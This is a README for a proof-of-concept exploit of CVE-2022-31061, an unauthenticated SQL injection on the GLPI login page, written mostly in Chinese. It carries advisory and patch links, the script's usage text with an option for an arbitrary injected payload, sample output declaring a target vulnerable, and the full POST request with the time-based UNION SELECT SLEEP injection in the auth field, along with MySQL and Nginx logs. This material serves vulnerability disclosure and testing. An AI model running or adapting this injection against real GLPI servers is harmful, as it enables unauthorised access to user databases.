GLPI CVE-2022-31061 的 PoC
针对 GLPI >= 9.3.0 且 < 10.0.2 的 Proof of Concept – 登录页面上的未授权 SQL 注入
未经双方同意使用此脚本攻击目标是违法的。 最终用户有责任遵守其所在地的所有适用法律。 开发者不承担任何责任，也不对因使用本程序而导致的任何误用或损害负责。
公开披露：https://github.com/glpi-project/glpi/security/advisories/GHSA-w2gc-v2gm-q7wq 于 2022-06-28
补丁：https://github.com/glpi-project/glpi/releases/tag/10.0.2 于 2022-06-28
提交：https://github.com/glpi-project/glpi/commit/21ae07d00d0b3230f6235386e98388cfc5bb0514
Usage: CVE-2022-31061.py -t https://example.com [-v] [-c cmd]
Options:
-h, --help show this help message and exit
-t TARGET, --target=TARGET
GLPI Website to audit
-v, --verbose Display verbose output
-c CMD, --cmd=CMD payload to inject. Time based Bind Injection. Context
: ' SELECT `id` FROM `glpi_users` WHERE `name` =
'fzrfdse' AND `authtype` = '3' AND `auths_id` = '1'
[payload] # '
-u USERAGENT, --user-agent=USERAGENT
user-agent to use
-p PROXY, --proxy=PROXY
proxy to use
命令：
$ python CVE-2022-31061.py -t http://target
[ 2022-08-07 14:47:35.911449 ] Begin send request for UNION SELECT SLEEP(5)
[ 2022-08-07 14:47:54.533460 ] End send request for UNION SELECT SLEEP(5) Duration : 18.619755
SUCCESS : target is vulnerable
请求：
POST /front/login.php HTTP/1.1
Host: target
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Referer: http://target/index.php
Cookie: glpi_3f946f74140a3178722cb675d5bf6b47=921opoti2tp4uk3g35sgor5had
Content-Length: 243
Content-Type: application/x-www-form-urlencoded
noAuto=0&redirect=&_glpi_csrf_token=b029a0270351f75ba69cced0385bd77deb548ec0db25eec2c511ee9064ec6bd6&fielda62f008c7f1837=FWVJDCDC&fieldb62f008c7f1838=U6XGS34JKQPC1LD6&auth=ldap-1%27+UNION+SELECT+SLEEP%285%29+%23+&fieldc62f008c7f1839=on&submit=
MySQL 日志：
SELECT `id` FROM `glpi_users` WHERE `name` = 'FWVJDCDC' AND `authtype` = '3' AND `auths_id` = '1' UNION SELECT SLEEP(5) # '
Nginx 日志：
tester - - [07/Aug/2022:20:47:35 +0200] "GET /index.php HTTP/1.1" 200 3173 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0"
tester - - [07/Aug/2022:20:47:54 +0200] "POST /front/login.php HTTP/1.1" 200 9232 "http://target/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0"